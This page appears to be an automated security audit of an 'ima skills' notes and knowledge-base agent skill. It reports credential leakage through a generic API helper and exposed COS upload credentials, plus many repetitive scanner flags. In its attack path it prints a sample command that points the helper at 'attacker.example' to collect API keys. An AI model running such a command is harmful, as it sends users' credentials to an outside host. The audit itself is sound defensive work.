Back to skill

Security audit

ima skills(中文-精炼版)

Security checks for vulnerabilities and agentic risk

Overview

This IMA notes and knowledge-base skill is mostly purpose-aligned, but needs review because one helper can send IMA API credentials to arbitrary URLs and the upload workflow exposes temporary COS credentials.

Review before installing. The core note and knowledge-base functions are legitimate, but the generic Node API helper should reject external absolute URLs before use, and the file-upload flow should avoid printing, logging, command-line passing, or predictably storing COS credentials. Use only in a trusted environment, prefer environment variables for long-lived IMA credentials, and rotate credentials if the generic helper was ever run with an untrusted --path.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/ima-api.cjs:96
Finding

IMA API credentials can be transmitted to an attacker-controlled host

Content
View full analysis
{ const req = (httpOpts.port === 443 ? https : http).request(httpOpts, async res => { ``` ### Technical Analysis The generic Node.js API client accepts `--path` from the command line. Although the documented value is an IMA API path, the implementation treats any value beginning with `http` as an absolute URL. The hostname from that URL is copied directly into the request options without checking that it equals `ima.qq.com`. The client simultaneously attaches the locally loaded IMA client ID and API key to every request. Consequently, an absolute attacker-controlled HTTPS URL receives both authentication headers. This violates the documented security boundary stating that IMA credentials are sent only to `ima.qq.com`. It also creates inconsistent transport behavior for explicit non-default ports because protocol selection is based on the port rather than `urlObj.protocol`. ### Attack Path 1. The victim has valid credentials in environment variables or under `~/.config/ima/`. 2. An attacker, malicious document, or untrusted Agent instruction causes execution of a command such as: ```bash node scripts/ima-api.cjs \ --path "https://attacker.example/collect" \ --body '{"action":"test"}' ``` 3. `loadCreds()` obtains the victim's IMA client ID and API key. 4 ...[truncated 864 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
knowledge-base/scripts/create-media.cjs:135
Finding

Temporary COS credentials are disclosed through JSON output

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
knowledge-base/scripts/create-media.cjs:155
Finding

COS credentials are stored in a predictable and insufficiently protected temporary file

Content
View full analysis
.json`. 3. A local attacker predicts or monitors this path. 4. Depending on filesystem ...[truncated 876 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
knowledge-base/SKILL.md:73
Finding

Documented upload workflow exposes COS credentials in process arguments

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (69)

Tainted flow: 'headers' from os.environ.get (line 46, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · knowledge-base/scripts/kb-ops.py (reported line 51)May include surrounding context.

python
"ima-openapi-apikey": api_key,
        "Content-Type": "application/json; charset=utf-8"
    }
    resp = requests.post(url, json=body, headers=headers, timeout=30)
    resp.raise_for_status()
    result = resp.json()

Tainted flow: 'headers' from os.environ.get (line 46, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · notes/scripts/notes-ops.py (reported line 51)May include surrounding context.

python
"ima-openapi-apikey": api_key,
        "Content-Type": "application/json; charset=utf-8"
    }
    resp = requests.post(url, json=body, headers=headers, timeout=30)
    resp.raise_for_status()
    result = resp.json()

Tainted flow: 'headers' from os.environ.get (line 46, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/ima-api.py (reported line 51)May include surrounding context.

python
"ima-openapi-apikey": api_key,
        "Content-Type": "application/json; charset=utf-8"
    }
    resp = requests.post(url, json=body, headers=headers, timeout=30)
    resp.raise_for_status()
    result = resp.json()

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

声明描述较宽,声称支持笔记管理和知识库操作,并暗示可处理上传文件、添加网页、搜索内容等场景。但代码只针对 /openapi/note/v1 下的笔记接口,提供 search、list-folders、list-notes、read、create、append 等功能,没有看到任何文件上传、网页导入、通用知识库/资料库管理相关实现。因此描述不能准确代表代码实际行为,属于声明范围明显大于真实功能的描述不匹配。凭据读取与网络请求属于实现细节,不构成额外未声明高风险能力。

Content

No source excerpt is available for this finding.

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 44)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 77)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 78)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 79)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 80)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 81)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 82)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 83)May include surrounding context.

md
| 搜索/浏览/读取笔记、追加到笔记 | notes | notes/scripts/notes-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 45)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 88)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 90)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 91)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 92)May include surrounding context.

md
| 上传文件、添加网页、搜索/管理知识库 | knowledge-base | knowledge-base/scripts/kb-ops.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 70)May include surrounding context.

md
| Node.js | scripts/ima-api.cjs |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 97)May include surrounding context.

md
node knowledge-base/scripts/preflight-check.cjs --file "/path/report.pdf"

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 99)May include surrounding context.

md
node knowledge-base/scripts/create-media.cjs --kb-id "kb_xxx" --file-name "report.pdf" --file-size 1048576 --content-type "application/pdf" --file-ext "pdf"

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 100)May include surrounding context.

md
node knowledge-base/scripts/cos-upload.cjs --file "/path/report.pdf" ...

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · PERMISSIONS.md (reported line 51)May include surrounding context.

  1. 配置文件
    bash
    mkdir -p ~/.config/ima
    echo "your_client_id" > ~/.config/ima/client_id
    echo "your_api_key" > ~/.config/ima/api_key
    chmod 600 ~/.config/ima/*
    

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · PERMISSIONS.md (reported line 54)May include surrounding context.

mkdir -p ~/.config/ima echo "your_client_id" > ~/.config/ima/client_id echo "your_api_key" > ~/.config/ima/api_key chmod 600 ~/.config/ima/*

text

### 安全措施

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill declares access to environment variables, local config files, and network destinations, but does not define an explicit tool scope such as permissions or allowed-tools. That creates an authorization gap where the documented capability set is broader than the enforcement metadata, increasing the chance of unintended credential/file/network access by the agent runtime.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.